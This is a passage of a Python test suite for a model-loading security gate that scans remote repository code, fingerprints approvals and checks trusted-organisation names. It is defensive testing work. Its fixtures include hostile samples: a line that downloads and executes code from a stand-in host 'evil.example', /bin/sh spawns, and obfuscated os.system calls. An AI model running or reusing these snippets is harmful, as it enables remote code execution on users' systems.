assert d.blocked is True
|
|
assert d.max_severity == "HIGH"
|
|
assert "subprocess" in d.findings_summary.lower()
|
|
|
|
def test_critical_blocked_even_first_party(self):
|
|
# CRITICAL (reverse shell) blocks even a trusted first-party repo; not approvable.
|
|
a, b = _with_auto_map(_CRITICAL)
|
|
with a, b:
|
|
d = evaluate_remote_code_consent(
|
|
"unsloth/Compromised", trust_remote_code = True, trusted_org = True
|
|
)
|
|
assert d.blocked is True
|
|
assert d.approvable is False
|
|
assert d.max_severity == "CRITICAL"
|
|
p = d.response_payload()
|
|
assert p["error_kind"] == "remote_code_blocked"
|
|
assert p["approvable"] is False
|
|
|
|
def test_approved_fingerprint_unblocks(self):
|
|
# HIGH (approvable) third-party code: a matching fingerprint unblocks.
|
|
a, b = _with_auto_map(_HIGH)
|
|
with a, b:
|
|
d1 = evaluate_remote_code_consent(
|
|
"evil/Model", trust_remote_code = True, trusted_org = False
|
|
)
|
|
d2 = evaluate_remote_code_consent(
|
|
"evil/Model",
|
|
trust_remote_code = True,
|
|
trusted_org = False,
|
|
approved_fingerprint = d1.fingerprint,
|
|
)
|
|
assert d1.blocked is True
|
|
assert d2.blocked is False
|
|
assert d2.reason == "approved by fingerprint"
|
|
|
|
def test_approved_fingerprint_does_not_unblock_critical(self):
|
|
# CRITICAL is a hard block: a matching fingerprint must never override it.
|
|
a, b = _with_auto_map(_CRITICAL)
|
|
with a, b:
|
|
d1 = evaluate_remote_code_consent(
|
|
"evil/Model", trust_remote_code = True, trusted_org = False
|
|
)
|
|
d2 = evaluate_remote_code_consent(
|
|
"evil/Model",
|
|
trust_remote_code = True,
|
|
trusted_org = False,
|
|
approved_fingerprint = d1.fingerprint,
|
|
)
|
|
assert d1.blocked is True and d1.approvable is False
|
|
assert d2.blocked is True and d2.approvable is False
|
|
assert d2.reason == "blocked: scan found CRITICAL patterns"
|
|
|
|
def test_wrong_fingerprint_still_blocked(self):
|
|
a, b = _with_auto_map(_HIGH)
|
|
with a, b:
|
|
d = evaluate_remote_code_consent(
|
|
"evil/Model",
|
|
trust_remote_code = True,
|
|
trusted_org = False,
|
|
approved_fingerprint = "deadbeef",
|
|
)
|
|
assert d.blocked is True
|
|
|
|
def test_combined_targets_one_fingerprint_approves_adapter_and_base(self):
|
|
# A LoRA adapter and base that both ship auto_map code are scanned as one unit and
|
|
# pinned by a single fingerprint over the union, so one approval unblocks the load.
|
|
adapter_files = {"tokenization_adapter.py": "import subprocess\nsubprocess.Popen(['id'])\n"}
|
|
base_files = {"modeling_base.py": "import subprocess\nsubprocess.Popen(['id'])\n"}
|
|
|
|
def _files(name, hf_token = None):
|
|
return adapter_files if name == "org/adapter" else base_files
|
|
|
|
targets = ["org/adapter", "org/base"]
|
|
with (
|
|
patch.object(consent, "_config_has_auto_map", return_value = True),
|
|
patch.object(consent, "repo_remote_code_files", side_effect = _files),
|
|
):
|
|
d1 = evaluate_remote_code_consent_for_targets(targets, trust_remote_code = True)
|
|
d2 = evaluate_remote_code_consent_for_targets(
|
|
targets, trust_remote_code = True, approved_fingerprint = d1.fingerprint
|
|
)
|
|
base_only = evaluate_remote_code_consent_for_targets(
|
|
["org/base"], trust_remote_code = True
|
|
)
|
|
assert d1.blocked is True
|
|
assert d1.max_severity == "HIGH"
|
|
# The single combined fingerprint approves the whole load (adapter + base).
|
|
assert d2.blocked is False
|
|
assert d2.reason == "approved by fingerprint"
|
|
# A fingerprint over the base alone must not match (no silent approval of adapter code).
|
|
assert base_only.fingerprint != d1.fingerprint
|
|
|
|
def test_fingerprint_is_casing_invariant_for_hub_repos(self):
|
|
# The scan endpoint canonicalizes casing but workers pass raw input. The fingerprint
|
|
# pins code bytes, not the repo-id spelling, so casing must not change it (else the
|
|
# worker rejects the scan's approval as a mismatch).
|
|
a, b = _with_auto_map(_HIGH)
|
|
with a, b:
|
|
d1 = evaluate_remote_code_consent_for_targets(["Org/Model"], trust_remote_code = True)
|
|
d2 = evaluate_remote_code_consent_for_targets(["org/model"], trust_remote_code = True)
|
|
assert d1.fingerprint == d2.fingerprint
|
|
# An approval pinned from one casing unblocks the load under another casing.
|
|
a, b = _with_auto_map(_HIGH)
|
|
with a, b:
|
|
d3 = evaluate_remote_code_consent_for_targets(
|
|
["ORG/model"], trust_remote_code = True, approved_fingerprint = d1.fingerprint
|
|
)
|
|
assert d3.blocked is False
|
|
assert d3.reason == "approved by fingerprint"
|
|
|
|
def test_fingerprint_target_key_keeps_local_path_casing(self):
|
|
from utils.security.consent import _fingerprint_target_key
|
|
|
|
# A local path is case-sensitive (case-sensitive filesystems); never folded.
|
|
with patch("utils.paths.is_local_path", return_value = True):
|
|
assert _fingerprint_target_key("/Models/Foo") == "/Models/Foo"
|
|
# A Hub repo id is case-insensitive; folded so the pin is casing-robust.
|
|
with patch("utils.paths.is_local_path", return_value = False):
|
|
assert _fingerprint_target_key("Org/Model") == "org/model"
|
|
|
|
def test_unscannable_target_fails_closed_for_whole_load(self):
|
|
# If ANY target is present-but-unscannable, the whole load fails closed (non-approvable).
|
|
def _raise_for_base(name, hf_token = None):
|
|
if name == "org/base":
|
|
raise RemoteCodeUnscannable("gated")
|
|
return {"modeling_adapter.py": "import torch\n"}
|
|
|
|
with (
|
|
patch.object(consent, "_config_has_auto_map", return_value = True),
|
|
patch.object(consent, "repo_remote_code_files", side_effect = _raise_for_base),
|
|
):
|
|
d = evaluate_remote_code_consent_for_targets(
|
|
["org/adapter", "org/base"], trust_remote_code = True
|
|
)
|
|
assert d.blocked is True
|
|
assert d.approvable is False
|
|
|
|
def test_medium_severity_blocks_pending_approval(self):
|
|
# A MEDIUM finding is approvable but blocks until the fingerprint is pinned, so
|
|
# trust_remote_code=True alone cannot run flagged code; a match then unblocks.
|
|
# MEDIUM is rarely emitted, so the scan result is mocked to exercise the policy.
|
|
from utils.security.remote_code_scan import MEDIUM
|
|
|
|
class _MediumResult:
|
|
max_severity = MEDIUM
|
|
|
|
def summary(self):
|
|
return "MEDIUM: large-base64-blob"
|
|
|
|
def findings_payload(self):
|
|
return [{"severity": "MEDIUM", "file": "modeling.py", "check": "large-base64-blob"}]
|
|
|
|
with (
|
|
patch.object(consent, "_config_has_auto_map", return_value = True),
|
|
patch.object(consent, "repo_remote_code_files", return_value = {"m.py": "BLOB = 1\n"}),
|
|
patch.object(consent, "scan_remote_code_files", return_value = _MediumResult()),
|
|
):
|
|
d1 = evaluate_remote_code_consent(
|
|
"third/medium", trust_remote_code = True, trusted_org = False
|
|
)
|
|
d2 = evaluate_remote_code_consent(
|
|
"third/medium",
|
|
trust_remote_code = True,
|
|
trusted_org = False,
|
|
approved_fingerprint = d1.fingerprint,
|
|
)
|
|
assert d1.blocked is True
|
|
assert d1.approvable is True
|
|
assert d1.max_severity == "MEDIUM"
|
|
assert d1.fingerprint
|
|
assert "MEDIUM" in d1.reason
|
|
assert d2.blocked is False
|
|
assert d2.reason == "approved by fingerprint"
|
|
|
|
def test_fingerprint_changes_when_code_changes(self):
|
|
((fn, body),) = _HIGH.items()
|
|
a1, b1 = _with_auto_map(_HIGH)
|
|
with a1, b1:
|
|
d1 = evaluate_remote_code_consent(
|
|
"evil/Model", trust_remote_code = True, trusted_org = False
|
|
)
|
|
tampered = {fn: body + "\n# changed\n"}
|
|
a2, b2 = _with_auto_map(tampered)
|
|
with a2, b2:
|
|
d2 = evaluate_remote_code_consent(
|
|
"evil/Model", trust_remote_code = True, trusted_org = False
|
|
)
|
|
assert d1.fingerprint != d2.fingerprint # pinned approval would re-prompt
|
|
|
|
def test_unscannable_auto_map_blocked_fail_closed(self):
|
|
# Code is shipped but could not be fetched/listed (gated/offline/transient):
|
|
# repo_remote_code_files raises RemoteCodeUnscannable. Code we cannot see cannot
|
|
# be verified or fingerprinted, so fail closed (hard, non-approvable block).
|
|
with (
|
|
patch.object(consent, "_config_has_auto_map", return_value = True),
|
|
patch.object(
|
|
consent,
|
|
"repo_remote_code_files",
|
|
side_effect = RemoteCodeUnscannable("gated"),
|
|
),
|
|
):
|
|
d = evaluate_remote_code_consent("unsloth/Gated", trust_remote_code = True)
|
|
assert d.has_remote_code is True
|
|
assert d.blocked is True
|
|
assert d.approvable is False
|
|
assert "could not be scanned" in d.reason
|
|
|
|
def test_auto_map_with_no_executable_code_is_a_noop(self):
|
|
# auto_map declared but the repo ships no executable .py (listing succeeded,
|
|
# returns {}) -- e.g. a GGUF repo with a vestigial auto_map. Nothing to run, so
|
|
# trust_remote_code is a no-op and the load is allowed, not blocked.
|
|
with (
|
|
patch.object(consent, "_config_has_auto_map", return_value = True),
|
|
patch.object(consent, "repo_remote_code_files", return_value = {}),
|
|
):
|
|
d = evaluate_remote_code_consent(
|
|
"unsloth/Llama-3_1-Nemotron-Ultra-253B-v1-GGUF", trust_remote_code = True
|
|
)
|
|
assert d.blocked is False
|
|
assert d.has_remote_code is False
|
|
assert "no-op" in d.reason
|
|
|
|
|
|
class TestWorkersWireTheGate:
|
|
"""Each load worker must call the gate and emit a remote_code_blocked error."""
|
|
|
|
@pytest.mark.parametrize(
|
|
"rel",
|
|
[
|
|
"core/training/worker.py",
|
|
"core/inference/worker.py",
|
|
"core/export/worker.py",
|
|
],
|
|
)
|
|
def test_worker_invokes_gate(self, rel):
|
|
src = (Path(__file__).resolve().parent.parent / rel).read_text()
|
|
assert "evaluate_remote_code_consent" in src
|
|
assert "remote_code_blocked" in src
|
|
assert ".blocked" in src
|
|
|
|
def test_mlx_training_path_gates_before_load(self):
|
|
# The Apple-Silicon path returns before run_training_process's gate, so it must
|
|
# scan before FastMLXModel.from_pretrained runs repo code.
|
|
src = (_BACKEND / "core/training/worker.py").read_text()
|
|
head = src[: src.index("FastMLXModel.from_pretrained(")]
|
|
assert "evaluate_remote_code_consent" in head
|
|
|
|
def test_lora_base_model_is_gated(self):
|
|
# Inference + export expand the consent scan to the LoRA base model's code.
|
|
for rel in ("core/inference/worker.py", "core/export/worker.py"):
|
|
src = (_BACKEND / rel).read_text()
|
|
assert "consent_targets" in src
|
|
assert "get_base_model_from_lora" in src or "mc.base_model" in src
|
|
|
|
def test_remote_lora_base_is_resolved_in_gate_paths(self):
|
|
# validate / scan / training / export must resolve a remote adapter's base (not
|
|
# just a local dir) so it is scanned, not silently trusted. (Inference gets the
|
|
# resolved base from ModelConfig.base_model.)
|
|
for rel in (
|
|
"routes/inference.py",
|
|
"routes/models.py",
|
|
"core/training/worker.py",
|
|
"core/export/worker.py",
|
|
):
|
|
src = (_BACKEND / rel).read_text()
|
|
assert "get_base_model_from_lora_identifier" in src, rel
|
|
|
|
def test_embedding_training_path_gates_before_load(self):
|
|
# The embedding pipeline must run the malware + consent gates before loading, like the other paths.
|
|
src = (_BACKEND / "core/training/worker.py").read_text()
|
|
start = src.index("def _run_embedding_training(")
|
|
end = src.index("FastSentenceTransformer.from_pretrained(", start)
|
|
region = src[start:end]
|
|
assert "evaluate_file_security" in region
|
|
assert "evaluate_remote_code_consent" in region
|
|
|
|
|
|
class TestCanonicalScannerSource:
|
|
"""In-repo, the load-time scanner must be the canonical scripts/scan_packages.py (the CI scanner), not the fallback."""
|
|
|
|
def test_canonical_scanner_loads_in_repo(self):
|
|
from utils.security.remote_code_scan import _load_canonical_scanner
|
|
|
|
canon = _load_canonical_scanner()
|
|
assert canon is not None, "scripts/scan_packages.py must load in-repo"
|
|
assert hasattr(canon, "check_py_file")
|
|
|
|
def test_gate_uses_canonical_combination_heuristics(self):
|
|
# Combination heuristics are unique to the canonical scanner: a reverse shell is
|
|
# CRITICAL there, proving the flat fallback is not in effect.
|
|
from utils.security.remote_code_scan import scan_remote_code_files
|
|
r = scan_remote_code_files(_CRITICAL)
|
|
assert r.max_severity == "CRITICAL"
|
|
|
|
|
|
class TestStructuredFindingsForDialog:
|
|
"""The dialog needs structured findings + a fingerprint from the pre-check helper and scan route, with the approval threaded to workers."""
|
|
|
|
def test_findings_payload_shape(self):
|
|
from utils.security.remote_code_scan import scan_remote_code_files
|
|
|
|
payload = scan_remote_code_files(_HIGH).findings_payload()
|
|
assert payload
|
|
for f in payload:
|
|
assert {"severity", "file", "check", "evidence", "line", "snippet"} <= set(f)
|
|
|
|
def test_snippet_locates_line_and_highlights_match(self):
|
|
from utils.security.remote_code_scan import scan_remote_code_files
|
|
|
|
src = (
|
|
"import torch\n" # 1
|
|
"\n" # 2
|
|
"def build(expr):\n" # 3
|
|
" fn = eval(expr)\n" # 4 <- flagged
|
|
" return fn\n" # 5
|
|
)
|
|
f = scan_remote_code_files({"modeling_x.py": src}).findings_payload()[0]
|
|
assert f["line"] == 4
|
|
rows = f["snippet"]
|
|
match = [r for r in rows if r["is_match"]]
|
|
assert len(match) == 1 and match[0]["number"] == 4
|
|
# Precise column span isolates "eval(" within the line.
|
|
seg = match[0]["text"][match[0]["match_start"] : match[0]["match_end"]]
|
|
assert seg == "eval("
|
|
# Context window present on both sides (clamped at file edges).
|
|
assert any(r["number"] == 3 for r in rows)
|
|
assert any(r["number"] == 5 for r in rows)
|
|
|
|
def test_preflight_surfaces_findings(self):
|
|
from utils.security import preflight_remote_code_consent
|
|
|
|
a, b = _with_auto_map(_HIGH)
|
|
with a, b:
|
|
d = preflight_remote_code_consent("evil/Model", trusted_org = False)
|
|
assert d.has_remote_code is True
|
|
assert d.findings and d.fingerprint # structured findings for the UI
|
|
|
|
def test_scan_route_uses_preflight(self):
|
|
src = (Path(__file__).resolve().parent.parent / "routes/models.py").read_text()
|
|
assert "remote-code-scan" in src
|
|
# The scan route pins one combined fingerprint over adapter + base, so adapter code is reviewed and approvable too.
|
|
assert "preflight_remote_code_consent_for_targets" in src
|
|
|
|
def _run_scan_route(self, monkeypatch, *, adapter, base, in_cache):
|
|
"""Call scan_model_remote_code with all network/cache deps stubbed; in_cache(repo)
|
|
decides whether a repo pre-existed in cache (so it is not reported scan-created)."""
|
|
import asyncio
|
|
|
|
import routes.models as models_route
|
|
import utils.models.model_config as model_config
|
|
import utils.security as security
|
|
|
|
monkeypatch.setattr(models_route, "is_local_path", lambda *_a, **_k: False)
|
|
monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda n, *a, **k: n)
|
|
monkeypatch.setattr(
|
|
model_config, "get_base_model_from_lora_identifier", lambda *_a, **_k: base
|
|
)
|
|
monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda n, *a, **k: in_cache(n))
|
|
monkeypatch.setattr(
|
|
security,
|
|
"preflight_remote_code_consent_for_targets",
|
|
lambda *_a, **_k: SimpleNamespace(
|
|
has_remote_code = False,
|
|
response_payload = lambda: {"has_remote_code": False, "approvable": True},
|
|
),
|
|
)
|
|
monkeypatch.setattr(security, "security_load_subdirs", lambda *_a, **_k: ())
|
|
monkeypatch.setattr(
|
|
security,
|
|
"evaluate_file_security",
|
|
lambda *_a, **_k: SimpleNamespace(blocked = False, unsafe_files = []),
|
|
)
|
|
return asyncio.run(
|
|
models_route.scan_model_remote_code(
|
|
model_name = adapter, hf_token = None, current_subject = "tester"
|
|
)
|
|
)
|
|
|
|
def test_scan_route_reports_all_scan_created_repos(self, monkeypatch):
|
|
"""A LoRA scan that pulls both adapter and base into cache reports every created
|
|
repo, so a decline purges all of them, not just the primary."""
|
|
adapter, base = "someone/lora-adapter", "someone/base-model"
|
|
payload = self._run_scan_route(
|
|
monkeypatch, adapter = adapter, base = base, in_cache = lambda _n: False
|
|
)
|
|
assert payload["scan_created_repos"] == [adapter, base]
|
|
assert payload["created_by_scan"] is True
|
|
|
|
def test_scan_route_omits_repo_already_cached(self, monkeypatch):
|
|
"""A base the user already had is not scan-created, so a decline purges only the new adapter."""
|
|
adapter, base = "someone/lora-adapter", "someone/base-model"
|
|
payload = self._run_scan_route(
|
|
monkeypatch, adapter = adapter, base = base, in_cache = lambda n: n == base
|
|
)
|
|
assert payload["scan_created_repos"] == [adapter]
|
|
assert payload["created_by_scan"] is True
|
|
|
|
def test_scan_route_primary_already_cached_clears_created_by_scan(self, monkeypatch):
|
|
"""When only the base is new, created_by_scan is False but the base is still purged via scan_created_repos."""
|
|
adapter, base = "someone/lora-adapter", "someone/base-model"
|
|
payload = self._run_scan_route(
|
|
monkeypatch, adapter = adapter, base = base, in_cache = lambda n: n == adapter
|
|
)
|
|
assert payload["scan_created_repos"] == [base]
|
|
assert payload["created_by_scan"] is False
|
|
|
|
def test_scan_route_purges_remote_adapter_downloaded_by_base_resolution(self, monkeypatch):
|
|
"""A remote adapter is reported scan-created even though resolving its base first
|
|
caches the adapter's own adapter_config.json. Otherwise the adapter (and the
|
|
auto_map .py the preflight fetched) is left on disk on decline. The static-lambda
|
|
tests above miss this by not modeling base resolution's side effect."""
|
|
import asyncio
|
|
|
|
import routes.models as models_route
|
|
import utils.models.model_config as model_config
|
|
import utils.security as security
|
|
import utils.security.remote_code_scan as rcs
|
|
|
|
adapter, base = "someone/lora-adapter", "someone/base-model"
|
|
cached: set = set() # repos currently present in some HF cache
|
|
|
|
def _get_base(name, token = None):
|
|
# Resolving the base downloads the ADAPTER's adapter_config.json first.
|
|
cached.add(adapter)
|
|
return base
|
|
|
|
monkeypatch.setattr(models_route, "is_local_path", lambda *_a, **_k: False)
|
|
monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda n, *a, **k: n)
|
|
monkeypatch.setattr(model_config, "get_base_model_from_lora_identifier", _get_base)
|
|
monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda n, *a, **k: n in cached)
|
|
monkeypatch.setattr(rcs, "external_auto_map_repos", lambda *_a, **_k: set())
|
|
monkeypatch.setattr(
|
|
security,
|
|
"preflight_remote_code_consent_for_targets",
|
|
lambda *_a, **_k: SimpleNamespace(
|
|
has_remote_code = True,
|
|
response_payload = lambda: {"has_remote_code": True, "approvable": True},
|
|
),
|
|
)
|
|
monkeypatch.setattr(security, "security_load_subdirs", lambda *_a, **_k: ())
|
|
monkeypatch.setattr(
|
|
security,
|
|
"evaluate_file_security",
|
|
lambda *_a, **_k: SimpleNamespace(blocked = False, unsafe_files = []),
|
|
)
|
|
payload = asyncio.run(
|
|
models_route.scan_model_remote_code(
|
|
model_name = adapter, hf_token = None, current_subject = "tester"
|
|
)
|
|
)
|
|
# The adapter must be purged on decline despite being cached mid-scan.
|
|
assert adapter in payload["scan_created_repos"]
|
|
assert base in payload["scan_created_repos"]
|
|
assert payload["created_by_scan"] is True
|
|
|
|
@pytest.mark.parametrize(
|
|
"rel",
|
|
[
|
|
"core/training/training.py",
|
|
"core/inference/orchestrator.py",
|
|
"core/export/orchestrator.py",
|
|
"routes/training.py",
|
|
"routes/inference.py",
|
|
"routes/export.py",
|
|
],
|
|
)
|
|
def test_fingerprint_threaded_to_worker(self, rel):
|
|
src = (Path(__file__).resolve().parent.parent / rel).read_text()
|
|
assert "approved_remote_code_fingerprint" in src
|
|
|
|
|
|
# Trusted-org auto-enable: is_trusted_org_repo decides whether a repo may auto-enable
|
|
# remote code without a prompt; it rejects local-path / spoofed names and fails closed.
|
|
|
|
|
|
def _fake_hfapi(resolved_id, author = "unsloth"):
|
|
api = MagicMock()
|
|
api.return_value.model_info.return_value = SimpleNamespace(id = resolved_id, author = author)
|
|
return api
|
|
|
|
|
|
class TestIsTrustedOrgRepo:
|
|
"""Only a genuine unsloth/ or nvidia/ repo is trusted (Hub-verified); everything spoofed/malformed/unreachable fails closed."""
|
|
|
|
def test_accepts_genuine_unsloth_repo(self):
|
|
with patch("huggingface_hub.HfApi", _fake_hfapi("unsloth/DeepSeek-OCR")):
|
|
assert is_trusted_org_repo("unsloth/DeepSeek-OCR") is True
|
|
|
|
def test_accepts_genuine_nvidia_repo(self):
|
|
with patch("huggingface_hub.HfApi", _fake_hfapi("nvidia/Nemotron-H-8B", author = "nvidia")):
|
|
assert is_trusted_org_repo("nvidia/Nemotron-H-8B") is True
|
|
|
|
def test_local_path_spoofs_rejected(self):
|
|
# Names that look trusted after stripping but are local paths.
|
|
for n in ["./unsloth/evil", "/tmp/unsloth/x", "~/unsloth/x", ".\\unsloth\\x"]:
|
|
assert is_trusted_org_repo(n, verify_remote = False) is False, n
|
|
|
|
def test_rejects_local_path_even_if_is_local_path_says_so(self):
|
|
# Defensive: a bare "unsloth/x" that resolves as a local dir must fail.
|
|
with patch("utils.security.trusted_org.is_local_path", return_value = True):
|
|
assert is_trusted_org_repo("unsloth/x") is False
|
|
|
|
def test_local_dir_shadowing_trusted_name_rejected(self, tmp_path, monkeypatch):
|
|
# A local dir literally named "unsloth/evil" must be rejected before any Hub call, even with remote verify on.
|
|
monkeypatch.chdir(tmp_path)
|
|
(tmp_path / "unsloth" / "evil").mkdir(parents = True)
|
|
clear_cache()
|
|
with patch("huggingface_hub.HfApi") as Api:
|
|
assert is_trusted_org_repo("unsloth/evil") is False
|
|
Api.assert_not_called()
|
|
|
|
def test_untrusted_namespaces_rejected(self):
|
|
for n in ["evil/unsloth-clone", "unsloth-evil/x", "nvidiaa/x", "huggingface/x"]:
|
|
assert is_trusted_org_repo(n, verify_remote = False) is False, n
|
|
|
|
def test_malformed_names_rejected(self):
|
|
for n in ["", "gpt2", "unsloth", "a/b/c", "/x", "unsloth/", "/unsloth", None]:
|
|
assert is_trusted_org_repo(n, verify_remote = False) is False, repr(n)
|
|
|
|
def test_rejects_when_resolved_owner_is_not_trusted(self):
|
|
# Name says unsloth/ but the Hub resolves it elsewhere -> fail closed.
|
|
with patch("huggingface_hub.HfApi", _fake_hfapi("someoneelse/x", author = "someoneelse")):
|
|
assert is_trusted_org_repo("unsloth/x") is False
|
|
|
|
def test_fails_closed_when_hub_raises(self):
|
|
for exc in (ConnectionError("net"), Exception("404"), TimeoutError("t")):
|
|
clear_cache()
|
|
api = MagicMock()
|
|
api.return_value.model_info.side_effect = exc
|
|
with patch("huggingface_hub.HfApi", api):
|
|
assert is_trusted_org_repo("unsloth/maybe-real") is False
|
|
|
|
def test_offline_trusts_shape_without_hub(self, monkeypatch):
|
|
# Offline: trust the namespace shape without ever touching the Hub.
|
|
monkeypatch.setenv("HF_HUB_OFFLINE", "1")
|
|
clear_cache()
|
|
with patch("huggingface_hub.HfApi") as Api:
|
|
assert is_trusted_org_repo("unsloth/Local-Cached") is True
|
|
assert is_trusted_org_repo("nvidia/Nemotron-H-x") is True
|
|
assert is_trusted_org_repo("evil/x") is False
|
|
Api.assert_not_called()
|
|
|
|
def test_token_failure_does_not_poison_authed_lookup(self):
|
|
# Cache is keyed by token: an unauthenticated failure must not poison a later authed call.
|
|
clear_cache()
|
|
api = MagicMock()
|
|
api.return_value.model_info.side_effect = [
|
|
Exception("401 gated"), # no token -> fails closed
|
|
SimpleNamespace(id = "unsloth/Private", author = "unsloth"), # token -> resolves
|
|
]
|
|
with patch("huggingface_hub.HfApi", api):
|
|
assert is_trusted_org_repo("unsloth/Private") is False
|
|
assert is_trusted_org_repo("unsloth/Private", hf_token = "hf_xyz") is True
|
|
|
|
|
|
class TestNemotronGateUsesTrustCheck:
|
|
"""The NemotronH auto-enable in all three workers is gated on is_trusted_org_repo, so a spoofed nemotron-named repo never auto-enables."""
|
|
|
|
@pytest.mark.parametrize(
|
|
"rel",
|
|
[
|
|
"core/training/worker.py",
|
|
"core/inference/worker.py",
|
|
"core/export/worker.py",
|
|
],
|
|
)
|
|
def test_worker_nemotron_block_calls_trust_check(self, rel):
|
|
src = (_BACKEND / rel).read_text()
|
|
assert "_NEMOTRON_TRUST_SUBSTRINGS" in src
|
|
assert "is_trusted_org_repo(" in src
|
|
|
|
def test_gate_predicate_blocks_spoof_allows_trusted(self):
|
|
# Reproduce the worker predicate with the REAL is_trusted_org_repo.
|
|
subs = ("nemotron_h", "nemotron-h", "nemotron-3-nano")
|
|
|
|
def gate(name):
|
|
low = name.lower()
|
|
return (
|
|
any(s in low for s in subs)
|
|
and (low.startswith("unsloth/") or low.startswith("nvidia/"))
|
|
and is_trusted_org_repo(name, verify_remote = False)
|
|
)
|
|
|
|
with patch.dict(os.environ, {"HF_HUB_OFFLINE": "1"}):
|
|
clear_cache()
|
|
assert gate("unsloth/Nemotron-H-8B") is True
|
|
clear_cache()
|
|
assert gate("evil/nemotron_h-backdoor") is False # spoofed namespace
|
|
assert gate("unsloth/llama-3-8b") is False # not nemotron
|
|
|
|
|
|
# Raw scanner behaviour + coverage: scan_remote_code_files flags dangerous patterns
|
|
# and agrees with the CI auditor; repo_remote_code_files must scan every .py the
|
|
# loader could execute and fail closed on a partial remote snapshot.
|
|
|
|
_SCAN_MALICIOUS = (
|
|
"import os, subprocess, urllib.request, base64\n"
|
|
"subprocess.Popen(['/bin/sh', '-c', 'id'])\n"
|
|
"exec(urllib.request.urlopen('http://evil.example/x').read())\n"
|
|
"__import__('o' + 's').system('whoami')\n"
|
|
"BLOB = '" + ("QWxhZGRpbjpvcGVuc2VzYW1l" * 20) + "'\n"
|
|
)
|
|
_SCAN_BENIGN = (
|
|
"import torch\nfrom torch import nn\n"
|
|
"from transformers import PreTrainedModel\n"
|
|
"class DeepseekOCRForCausalLM(PreTrainedModel):\n"
|
|
" def forward(self, x):\n return self.proj(x)\n"
|
|
)
|
|
|
|
|
|
class TestRemoteCodeScan:
|
|
def test_flags_malicious(self):
|
|
res = scan_remote_code_files({"modeling_evil.py": _SCAN_MALICIOUS})
|
|
assert not res.clean
|
|
assert res.max_severity in (CRITICAL, HIGH)
|
|
assert res.findings
|
|
assert should_block_remote_code(res) is True
|
|
|
|
def test_benign_is_clean(self):
|
|
res = scan_remote_code_files({"modeling_ok.py": _SCAN_BENIGN})
|
|
assert res.clean, res.summary()
|
|
assert should_block_remote_code(res) is False
|
|
|
|
def test_only_python_is_scanned(self):
|
|
res = scan_remote_code_files({"weights.bin": _SCAN_MALICIOUS, "README.md": _SCAN_MALICIOUS})
|
|
assert res.clean
|
|
|
|
def test_fingerprint_stable_and_sensitive(self):
|
|
a = remote_code_fingerprint({"m.py": _SCAN_BENIGN})
|
|
b = remote_code_fingerprint({"m.py": _SCAN_BENIGN})
|
|
c = remote_code_fingerprint({"m.py": _SCAN_BENIGN + "\n# changed"})
|
|
assert a == b
|
|
assert a != c
|
|
|
|
def test_scanner_faithful_to_scan_packages(self):
|
|
# The vendored load-time scanner agrees with the CI auditor that the file is dangerous.
|
|
sp = _BACKEND.parents[1] / "scripts" / "scan_packages.py"
|
|
if not sp.is_file():
|
|
pytest.skip("scan_packages.py not present")
|
|
import importlib.util
|
|
|
|
spec = importlib.util.spec_from_file_location("scan_packages_probe", sp)
|
|
mod = importlib.util.module_from_spec(spec)
|
|
spec.loader.exec_module(mod)
|
|
assert len(mod.check_py_file(_SCAN_MALICIOUS, "modeling_x.py", "pkg")) > 0
|
|
assert not scan_remote_code_files({"modeling_x.py": _SCAN_MALICIOUS}).clean
|
|
|
|
|
|
class TestScannerCoversAllExecutableCode:
|
|
"""repo_remote_code_files must collect every .py the loader could execute, so the fingerprint can't certify unscanned code."""
|
|
|
|
def test_local_scan_is_recursive(self, tmp_path):
|
|
# A nested helper module (imported by modeling_*.py) must be scanned too.
|
|
(tmp_path / "config.json").write_text('{"auto_map": {"AutoModel": "modeling_x.M"}}')
|
|
(tmp_path / "modeling_x.py").write_text("from .helpers import sub\n")
|
|
nested = tmp_path / "helpers"
|
|
nested.mkdir()
|
|
(nested / "sub.py").write_text("import os\nos.system('id')\n")
|
|
files = repo_remote_code_files(str(tmp_path))
|
|
assert "modeling_x.py" in files
|
|
assert str(Path("helpers") / "sub.py") in files
|
|
|
|
def test_remote_partial_download_is_unscannable(self):
|
|
# config.json fetches but a referenced .py 404s: a partial set would fingerprint
|
|
# "clean" while transformers later runs the missing file, so fail closed.
|
|
def _dl(
|
|
repo,
|
|
fn,
|
|
token = None,
|
|
):
|
|
if fn == "config.json":
|
|
import json
|
|
import tempfile
|
|
|
|
p = Path(tempfile.mkdtemp()) / "config.json"
|
|
p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.M"}}))
|
|
return str(p)
|
|
if fn in REMOTE_CODE_CONFIG_FILES:
|
|
raise EntryNotFoundError(fn) # repo ships no tokenizer/processor config
|
|
raise RuntimeError("download failed") # the referenced .py cannot be fetched
|
|
|
|
with (
|
|
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
|
|
patch("huggingface_hub.list_repo_files", return_value = ["modeling_x.py"]),
|
|
):
|
|
with pytest.raises(RemoteCodeUnscannable):
|
|
repo_remote_code_files("third/party")
|
|
|
|
def test_external_auto_map_repo_is_scanned(self):
|
|
# auto_map can point at code in another repo (owner/name--module.Class) that
|
|
# transformers fetches + runs, so the scanner must download it from that repo.
|
|
def _dl(
|
|
repo,
|
|
fn,
|
|
token = None,
|
|
):
|
|
import json
|
|
import tempfile
|
|
|
|
p = Path(tempfile.mkdtemp()) / fn
|
|
if fn == "config.json":
|
|
p.write_text(
|
|
json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}})
|
|
)
|
|
elif repo == "evilorg/evilrepo" and fn == "modeling_evil.py":
|
|
p.write_text("import os\nos.system('id')\n")
|
|
elif fn in REMOTE_CODE_CONFIG_FILES:
|
|
raise EntryNotFoundError(fn) # victim repo ships no tokenizer/processor config
|
|
else:
|
|
raise RuntimeError(f"unexpected fetch {repo}:{fn}")
|
|
return str(p)
|
|
|
|
with (
|
|
patch("huggingface_hub.hf_hub_download", side_effect = _dl),
|
|
patch("huggingface_hub.list_repo_files", return_value = []),
|
|
):
|
|
files = repo_remote_code_files("victim/model")
|
|
assert "evilorg/evilrepo--modeling_evil.py" in files
|
|
assert not scan_remote_code_files(files).clean # the external code is flagged
|
|
|
|
def test_external_auto_map_helper_imports_are_scanned(self):
|
|
# transformers fetches the external entry AND its relative imports, so the scanner
|
|
# must download the whole external .py closure -- a benign entry importing a
|
|
